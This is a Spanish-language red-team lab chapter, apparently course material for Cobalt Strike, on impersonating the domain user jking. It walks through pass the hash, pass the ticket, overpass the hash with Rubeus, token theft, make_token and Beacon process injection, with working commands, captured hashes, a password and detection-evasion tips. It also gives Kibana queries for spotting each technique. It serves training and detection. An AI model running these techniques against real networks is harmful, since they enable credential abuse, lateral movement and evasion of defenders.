Saltar a contenido

User Impersonation

User Impersonation

Sabemos por nuestro reconocimiento de dominio que jking es un administrador local en múltiples computadoras gracias a su membresía en el grupo de dominio Support Engineers. También tenemos material de credenciales para este usuario en forma de un NTLM hash, AES256 hash y un Kerberos TGT.

Este capítulo demostrará diferentes técnicas en las que podemos aprovechar estas credenciales y utilizarlas para acceder a una de las computadoras objetivo. También existen varias técnicas donde no necesitamos material de credenciales directamente, pero aprovechamos procesos que el usuario está ejecutando en una máquina donde tenemos acceso elevado.

Info

Una manera común de probar el acceso a una máquina es listar la unidad C, ya que esto requiere privilegios de administrador local para acceder.


Pass the Hash

Pass the hash es una técnica que te permite autenticarte en un servicio de Windows utilizando el NTLM hash de la contraseña de un usuario. Funciona iniciando una nueva sesión de inicio de sesión con una identidad falsa y luego reemplazando la información de sesión con el dominio, nombre de usuario y NTLM hash proporcionado.

Beacon tiene un comando dedicado llamado pth que ejecuta Mimikatz en segundo plano.

Este comando requiere privilegios elevados.

Primero, intenta listar el recurso compartido C$ de la máquina WEB; esto fallará porque bfarmer no es un administrador local allí.

beacon> getuid
[*] You are DEV\bfarmer (admin)

beacon> ls \\web.dev.cyberbotic.io\c$
[-] could not open \\web.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

Luego ejecuta el comando pth con el nombre de usuario de jking y el NTLM hash.

beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c

user    : jking
domain  : DEV
program : C:\Windows\system32\cmd.exe /c echo 71fb38e2d65 > \\.\pipe\675b08
impers. : no
NTLM    : 59fc0f884922b4ce376051134c71e22c
  |  PID  1932
  |  TID  6600
  |  LSA Process is now R/W
  |  LUID 0 ; 7479840 (00000000:00722220)
  \_ msv1_0   - data copy @ 000001F6344B3D20 : OK !
  \_ kerberos - data copy @ 000001F6345BD7C8
   \_ aes256_hmac       -> null             
   \_ aes128_hmac       -> null             
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001F6344C6128 (32) -> null

Podemos ver que el comando Mimikatz ejecuta y pasa las nuevas credenciales a través de un named pipe, que Beacon luego imita automáticamente. Después, podemos intentar listar el recurso compartido C$ nuevamente, lo cual tendrá éxito.

beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 18:50:13   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 18:58:09   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 11:02:25   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     08/31/2022 17:40:32   ProgramData
          dir     08/15/2022 18:31:08   Recovery
          dir     08/30/2022 11:16:24   System Volume Information
          dir     08/30/2022 17:51:08   Users
          dir     08/30/2022 20:19:27   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 12kb     fil     09/01/2022 07:26:41   DumpStack.log.tmp
 384mb    fil     09/01/2022 07:26:41   pagefile.sys

Para "soltar" la suplantación posteriormente, utiliza el comando rev2self.

beacon> rev2self
[*] Tasked beacon to revert token

beacon> ls \\web.dev.cyberbotic.io\c$
[-] could not open \\web.dev.cyberbotic.io\c$\*: 5 - ERROR_ACCESS_DENIED

OPSEC

Dos oportunidades para detectar PTH son el manejador R/W a LSASS; y buscar el patrón echo foo > \\.\pipe\bar en los registros de línea de comandos.

El primero ya es parte de la búsqueda guardada "Suspicious Handle to LSASS". Esta vez vemos una máscara de acceso de 0x1038. Esta es una combinación de PROCESS_QUERY_LIMITED_INFORMATION (0x1000), PROCESS_VM_WRITE (0x0020), PROCESS_VM_READ (0x0010) y PROCESS_VM_OPERATION (0x0008).

El segundo puede encontrarse mediante la búsqueda "Suspicious Named Pipe Impersonation", que consulta eventos de proceso donde los argumentos contienen "echo", ">" y "\.\pipe\".


Pass the Ticket

Pass the ticket es una técnica que te permite agregar tickets Kerberos a una sesión de inicio de sesión existente (LUID) a la que tengas acceso, o a una nueva que crees. Acceder a un recurso remoto permitirá que esa autenticación se realice a través de Kerberos.

Para esto, podemos aprovechar el TGT que extrajimos de la sesión de inicio de sesión de jking en Workstation 2.

El primer paso es crear una sesión de inicio de sesión en blanco, "sacrificial", en la que podamos pasar el TGT. Hacemos esto porque una sesión de inicio de sesión solo puede contener un TGT a la vez. Si pasáramos el TGT de jking al LUID de bfarmer, sobrescribiría el TGT de bfarmer y causaría todo tipo de problemas de autenticación para el usuario.

Crear una nueva sesión de inicio de sesión y pasar tickets a sesiones que no sean las tuyas requiere privilegios elevados.

El comando createnetonly de Rubeus iniciará un nuevo proceso oculto de nuestra elección, usando la API CreateProcessWithLogonW.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe

[*] Action: Create Process (/netonly)

[*] Using random username and password.

[*] Showing process : False
[*] Username        : GJB9A2GP
[*] Domain          : VPY1XQRP
[*] Password        : R4ABN1K3
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4748
[+] LUID            : 0x798c2c

Esto también crea un nuevo LUID. No tendrá tickets dentro, por lo que aún no será visible con triage. El siguiente paso es pasar el TGT a este nuevo LUID usando el comando ptt de Rubeus. Donde el /luid es el nuevo LUID que acabamos de crear y /ticket es el ticket codificado en base64 que extrajimos anteriormente.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP

[*] Action: Import Ticket
[*] Target LUID: 0x798c2c
[+] Ticket successfully imported!

Rubeus triage ahora mostrará el TGT de jking dentro de este LUID.

 | 0x798c2c | jking @ DEV.CYBERBOTIC.IO    | krbtgt/DEV.CYBERBOTIC.IO                      | 9/1/2022 5:29:20 PM |

El paso final es suplantar el proceso que creamos con createnetonly usando el comando steal_token de Cobalt Strike. Como mínimo, esto requiere el PID del proceso objetivo, que en este ejemplo es 4748. Luego podremos acceder a la máquina remota.

beacon> steal_token 4748

beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 18:50:13   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 18:58:09   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 11:02:25   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     08/31/2022 17:40:32   ProgramData
          dir     08/15/2022 18:31:08   Recovery
          dir     08/30/2022 11:16:24   System Volume Information
          dir     08/30/2022 17:51:08   Users
          dir     08/30/2022 20:19:27   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 12kb     fil     09/01/2022 07:26:41   DumpStack.log.tmp
 384mb    fil     09/01/2022 07:26:41   pagefile.sys

Como antes, usa rev2self para abandonar la suplantación. Para destruir la sesión de inicio de sesión que creamos, simplemente mata el proceso con el comando kill.

beacon> rev2self
beacon> kill 4748

Rubeus triage ya no mostrará la sesión de inicio de sesión.

OPSEC

De forma predeterminada, Rubeus usará un nombre de usuario, dominio y contraseña aleatorios con CreateProcessWithLogonW, lo que aparecerá en el evento de inicio de sesión 4624 asociado. La búsqueda guardada "Suspicious Logon Events" mostrará los 4624 donde el TargetOutboundDomainName no sea un valor esperado.

Podemos proporcionar estas opciones en la línea de comandos para hacer que los campos parezcan menos anómalos. La contraseña no tiene que ser la contraseña real del usuario.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123

Overpass the Hash

Overpass the hash es una técnica que nos permite solicitar un TGT de Kerberos para un usuario, utilizando su hash NTLM o AES. Se requieren privilegios elevados para obtener los hashes de los usuarios, pero no para solicitar el ticket.

Rubeus asktgt nos cubre para esta tarea.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 59fc0f884922b4ce376051134c71e22c
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking'
[*] Using domain controller: 10.10.122.10:88

[09/01 10:24:04] [+] received output:
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFmj [...snip...] 5pbw==

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  jking
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/1/2022 2:23:59 PM
  EndTime                  :  9/2/2022 12:23:59 AM
  RenewTill                :  9/8/2022 2:23:59 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  NytFQCt4OMyeF+BjfPSrbw==
  ASREP (key)              :  59FC0F884922B4CE376051134C71E22C

Este TGT luego puede ser aprovechado mediante Pass the Ticket.

OPSEC

Usar un hash NTLM resulta en un ticket cifrado usando RC4 (0x17). Este es considerado un tipo de cifrado heredado y, por lo tanto, a menudo resalta como anómalo en un entorno moderno de Windows. La búsqueda guardada "RC4 TGTs" mostrará todos los eventos 4768 donde el tipo de cifrado del ticket es 0x17. Es muy probable que el único resultado allí sea el generado a partir del comando anterior.

Para obtener un TGT cifrado usando AES256 (0x12), como adivinaste, usa el hash AES256 del usuario en su lugar.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\jking'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFuj [...snip...] ljLmlv

  ServiceName              :  krbtgt/dev.cyberbotic.io
  ServiceRealm             :  DEV.CYBERBOTIC.IO
  UserName                 :  jking
  UserRealm                :  DEV.CYBERBOTIC.IO
  StartTime                :  9/1/2022 2:54:36 PM
  EndTime                  :  9/2/2022 12:54:36 AM
  RenewTill                :  9/8/2022 2:54:36 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  BBLSeA9nnaNeYIcHqf787V0m5Znz1ednGMXh9V9aorE=
  ASREP (key)              :  4A8A74DAAD837AE09E9ECC8C2F1B89F960188CB934DB6D4BBEBADE8318AE57C6

Puedes encontrar el evento 4768 correspondiente con esta consulta:

event.code: 4768 and winlog.event_data.TicketEncryptionType: 0x12 and winlog.event_data.TargetUserName: jking

Será prácticamente indistinguible de las otras solicitudes de TGT, con la excepción de dos campos:

  1. El Supplied Realm Name será dev.cyberbotic.io, en lugar de DEV.
  2. Las Ticket Options serán 0x40800010 en lugar de 0x40810010.

El comando asktgt tiene dos parámetros opcionales que podemos usar para mezclarnos un poco más.

Si no se especifica /domain, Rubeus usa el FQDN del dominio en el que está esta computadora. En su lugar, podemos forzarlo a usar el nombre NetBIOS con /domain:DEV. También hay una bandera /opsec que le dice a Rubeus que solicite el TGT de tal manera que las Ticket Options sean 0x40810010.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /domain:DEV /opsec /nowrap

More OPSEC

Mimikatz también puede realizar overpass the hash, pero de una manera que escribe en LSASS. El método de Rubeus no toca LSASS pero genera tráfico de Kerberos desde un proceso anómalo, ya que esto usualmente solo ocurre desde LSASS. Estos pueden ser vistos usando la búsqueda guardada "Kerberos Traffic from Suspicious Process".

La conclusión es que tienes que "elegir tu veneno".


Token Impersonation

Ya hemos visto un ejemplo de usar el comando steal_token de Cobalt Strike en el contexto de pass the ticket. Sin embargo, si elevamos privilegios o llegamos a un sistema donde un usuario está ejecutando un proceso, podemos suplantar su token sin tener que pasar por pasos adicionales.

Si listamos los procesos en ejecución en Workstation 2 desde un prompt elevado, vemos que jking está ejecutando una instancia de mmc.exe.

 PID   PPID  Name                                   Arch  Session     User
 ---   ----  ----                                   ----  -------     ----
 5536  1020  mmc.exe                                x64   0           DEV\jking

Podemos simplemente robar su token y acceder a un objetivo.

beacon> steal_token 5536

beacon> ls \\web.dev.cyberbotic.io\c$
[*] Listing: \\web.dev.cyberbotic.io\c$\

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/15/2022 18:50:13   $Recycle.Bin
          dir     08/10/2022 04:55:17   $WinREAgent
          dir     08/10/2022 05:05:53   Boot
          dir     08/18/2021 23:34:55   Documents and Settings
          dir     08/19/2021 06:24:49   EFI
          dir     08/15/2022 18:58:09   inetpub
          dir     05/08/2021 08:20:24   PerfLogs
          dir     08/24/2022 11:02:25   Program Files
          dir     08/10/2022 04:06:16   Program Files (x86)
          dir     08/31/2022 17:40:32   ProgramData
          dir     08/15/2022 18:31:08   Recovery
          dir     08/30/2022 11:16:24   System Volume Information
          dir     08/30/2022 17:51:08   Users
          dir     08/30/2022 20:19:27   Windows
 427kb    fil     08/10/2022 05:00:07   bootmgr
 1b       fil     05/08/2021 08:14:33   BOOTNXT
 12kb     fil     09/01/2022 07:26:41   DumpStack.log.tmp
 384mb    fil     09/01/2022 07:26:41   pagefile.sys

Esta técnica funciona obteniendo un handle al proceso objetivo, abriendo y duplicando su token de acceso primario, y luego suplantando ese token. La desventaja es que si el usuario cierra el proceso, nuestra capacidad de abusarlo desaparece. Al tomar los pasos adicionales de extraer tickets o hashes, nos proporcionamos una manera más garantizada o "a prueba de futuro" de aprovechar el material de credenciales.

Al suplantar usuarios de esta manera, el cliente de CS (desde la versión 4.8) actualiza varios elementos de la interfaz para ayudarte a llevar un registro de a quién (si es que alguien) tu Beacon está suplantando actualmente.


Token Store

Cobalt Strike 4.8 introdujo un nuevo conjunto de comandos llamado token-store. Esta es una evolución del comando steal_token que permite robar y almacenar tokens para uso futuro. Por ejemplo, roba un token y agrégalo al token store con token-store steal <pid>.

beacon> token-store steal 5536
[*] Stored Tokens

 ID   PID   User
 --   ---   ----
 0    5536  DEV\jking

Puedes listar todos los tokens en el almacén con token-store show e impersonar uno usando token-store use <id>.

beacon> token-store use 0
[+] Impersonated DEV\jking

El comando rev2self eliminará el token de suplantación, pero permanecerá en el almacén para que pueda ser suplantado nuevamente. Un token puede eliminarse del almacén usando token-store remove <id> o se puede vaciar todo el almacén con token-store remove-all.

Las principales ventajas del token store son dos. La primera es que no tenemos que llevar a cabo el proceso de robo varias veces, lo cual es mejor para OPSEC. Dado que robar un token requiere abrir un handle al proceso objetivo y al token del proceso, cuantas menos veces hagas esto, mejor. La segunda ventaja es que mantener un handle abierto al token duplicado evita que Windows elimine la sesión de inicio de sesión del usuario si cierra sesión o termina el proceso del cual robamos.

Es importante tener en cuenta que cada Beacon tiene su propio token store. No puedes transferir tokens de un Beacon a otro, incluso si están en el mismo host.


Make Token

El comando make_token te permite impersonar a un usuario si conoces su contraseña en texto plano. Esto funciona en segundo plano llamando a la API LogonUserA, que toma varios parámetros, incluyendo un nombre de usuario, contraseña, nombre de dominio y tipo de inicio de sesión. En este caso, se utiliza el tipo de inicio de sesión LOGON32_LOGON_NEW_CREDENTIALS, que permite al llamante clonar su token actual y especificar nuevas credenciales para conexiones de red salientes.

La API genera un handle para un token que luego puede pasarse a la API ImpersonateLoggedOnUser. Esto permite que el hilo que llama impersonifique el contexto del token (es decir, el contexto del usuario suplantado).

beacon> make_token DEV\jking Qwerty123
[+] Impersonated DEV\jking (netonly)

La sesión de inicio creada con LogonUserA tiene el mismo identificador local que el llamante, pero se utilizan las credenciales alternativas al acceder a un recurso remoto.

beacon> remote-exec winrm web.dev.cyberbotic.io whoami
dev\jking

Esto también significa que make_token no es aplicable a nada que desees ejecutar en la máquina actual. Para eso, spawnas puede ser una mejor solución.

Estos eventos de inicio de sesión pueden encontrarse en Kibana con la siguiente consulta:

event.code: 4624 AND winlog.event_data.LogonType: 9

Donde 4624 es el Event ID "An account was successfully logged on" y LogonType 9 es LOGON32_LOGON_NEW_CREDENTIALS. Los eventos mostrarán quién fue el llamante, qué usuario suplantaron, el nombre del proceso que llamó, el ID y más.

Una desventaja desafortunada para detectar esta técnica es que runas /netonly se comporta de la misma manera. Por lo tanto, puede ser difícil distinguir entre eventos legítimos y maliciosos.


Process Injection

La inyección de procesos nos permite inyectar shellcode arbitrario en un proceso de nuestra elección. Solo puedes inyectar en procesos a los que puedas obtener un handle con suficientes privilegios para escribir en su memoria. En un contexto no elevado, esto generalmente te limita a tus propios procesos. En un contexto elevado, esto incluye procesos pertenecientes a otros usuarios.

Beacon tiene dos comandos principales de inyección: shinject e inject. shinject permite inyectar cualquier shellcode arbitrario desde un archivo binario en tu máquina atacante; e inject inyectará una carga útil completa de Beacon para el listener especificado.

Si quisiéramos inyectar una carga útil de TCP Beacon en el proceso MMC mencionado en el módulo anterior, podríamos hacer:

beacon> inject 4464 x64 tcp-local
[*] Tasked beacon to inject windows/beacon_bind_tcp (127.0.0.1:4444) into 4464 (x64)
[+] established link to child beacon: 10.10.123.102

Donde:

  • 4464 es el PID de destino.
  • x64 es la arquitectura del proceso.
  • tcp-local es el nombre del listener.

El comando también intentará automáticamente conectarse al proceso hijo si se utiliza un listener P2P. El Beacon resultante se ejecutará con el privilegio completo del usuario que posee el proceso.

Se aplican las mismas advertencias: si el usuario cierra este proceso, el Beacon se perderá. El shellcode que se inyecta utiliza la función Exit Thread, por lo que no matará el proceso si salimos del Beacon.